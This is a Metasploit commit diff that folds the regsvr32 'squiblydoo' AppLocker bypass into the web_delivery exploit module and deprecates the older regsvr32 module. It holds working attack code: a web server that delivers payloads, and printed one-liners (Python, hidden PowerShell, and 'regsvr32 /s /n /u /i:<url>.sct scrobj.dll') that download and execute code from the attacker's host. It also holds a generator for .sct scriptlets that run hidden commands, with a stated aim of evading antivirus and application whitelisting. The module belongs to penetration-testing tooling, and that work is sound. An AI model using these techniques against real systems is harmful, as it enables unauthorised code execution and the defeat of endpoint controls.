regsvr32_applocker_bypass_server -> web_delivery

Author: g0tmi1k

modules/exploits/multi/script/web_delivery.rb

@@ -15,22 +15,31 @@ def initialize(info = {})
     super(update_info(info,
       'Name'         => 'Script Web Delivery',
       'Description'  => %q(
-        This module quickly fires up a web server that serves a payload.
-        The provided command will start the specified scripting language interpreter and then download and execute the
-        payload. The main purpose of this module is to quickly establish a session on a target
-        machine when the attacker has to manually type in the command himself, e.g. Command Injection,
-        RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not
-        write to disk so it is less likely to trigger AV solutions and will allow privilege
-        escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
-        payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
-        x86 payloads on x64 machines.
+           This module quickly fires up a web server that serves a payload.
+        The provided command which will allow for a payload to download and execute.
+        It will do it either specified scripting language interpreter or "squiblydoo" via regsvr32.exe
+        for bypassing application whitelisting. The main purpose of this module is to quickly establish
+        a session on a target machine when the attacker has to manually type in the command:
+        e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution.
+        This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege
+        escalations supplied by Meterpreter.
+
+        When using either of the PSH targets, ensure the payload architecture matches the target computer
+        or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines.
+
+        Regsvr32 uses "squiblydoo" technique for bypassing application whitelisting.
+        The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included
+        PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute)
+        can occur on the same port.
       ),
       'License'      => MSF_LICENSE,
       'Author'       =>
         [
           'Andrew Smith "jakx" <[email protected]>',
           'Ben Campbell',
-          'Chris Campbell' # @obscuresec - Inspiration n.b. no relation!
+          'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!
+          'Casey Smith',    # AppLocker bypass research and vulnerability discovery (@subTee)
+          'Trenton Ivey',   # AppLocker MSF Module (kn0)
         ],
       'DefaultOptions' =>
         {
@@ -41,7 +50,8 @@ def initialize(info = {})
           ['URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
           ['URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
           ['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
-          ['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
+          ['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
+          ['URL', 'http://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'],
         ],
       'Platform'       => %w(python php win),
       'Targets'        =>
@@ -57,6 +67,10 @@ def initialize(info = {})
           ['PSH', {
             'Platform' => 'win',
             'Arch' => [ARCH_X86, ARCH_X64]
+          }],
+          ['Regsvr32', {
+            'Platform' => 'win',
+            'Arch' => [ARCH_X86, ARCH_X64]
           }]
         ],
       'DefaultTarget'  => 0,
@@ -71,15 +85,21 @@ def initialize(info = {})
   end
 
   def on_request_uri(cli, _request)
-    print_status('Delivering Payload')
-    if target.name.include? 'PSH'
+    if _request.raw_uri =~ /\.sct$/
+      print_status("Handling .sct Request")
+      psh = gen_psh(get_uri)
+      data = gen_sct_file(psh)
+      send_response(cli, data, 'Content-Type' => 'text/plain')
+    elsif target.name.include? 'PSH' or target.name.include? 'Regsvr32'
+      print_status("Delivering Payload")
       data = cmd_psh_payload(payload.encoded,
                              payload_instance.arch.first,
                              remove_comspec: true,
                              exec_in_place: true
                            )
     else
-      data = %Q(#{payload.encoded} )
+      print_status("Delivering Payload")
+      data = %Q(#{payload.encoded})
     end
     send_response(cli, data,  'Content-Type' => 'application/octet-stream')
   end
@@ -94,14 +114,33 @@ def primer
       print_line('Python:')
       print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"")
     when 'PSH'
+      print_line gen_psh(url)
+    when 'Regsvr32'
+      print_line("regsvr32 /s /n /u /i:#{url}.sct scrobj.dll")
+    end
+  end
+
+
+  def gen_psh(url)
       ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
       download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
       download_and_run = "#{ignore_cert}#{download_string}"
       print_line generate_psh_command_line(
+      return generate_psh_command_line(
                                              noprofile: true,
                                              windowstyle: 'hidden',
                                              command: download_and_run
                                            )
     end
   end
-end
+
+
+  def rand_class_id
+    "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
+  end
+
+
+  def gen_sct_file(command)
+    %{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
+  end
+end

modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb

@@ -8,6 +8,9 @@ class MetasploitModule < Msf::Exploit::Remote
 
   include Msf::Exploit::Powershell
   include Msf::Exploit::Remote::HttpServer
+  include Msf::Module::Deprecated
+
+  deprecated(Date.new(2018, 3, 5), 'exploits/multi/script/web_delivery.rb')
 
   def initialize(info = {})
     super(update_info(info,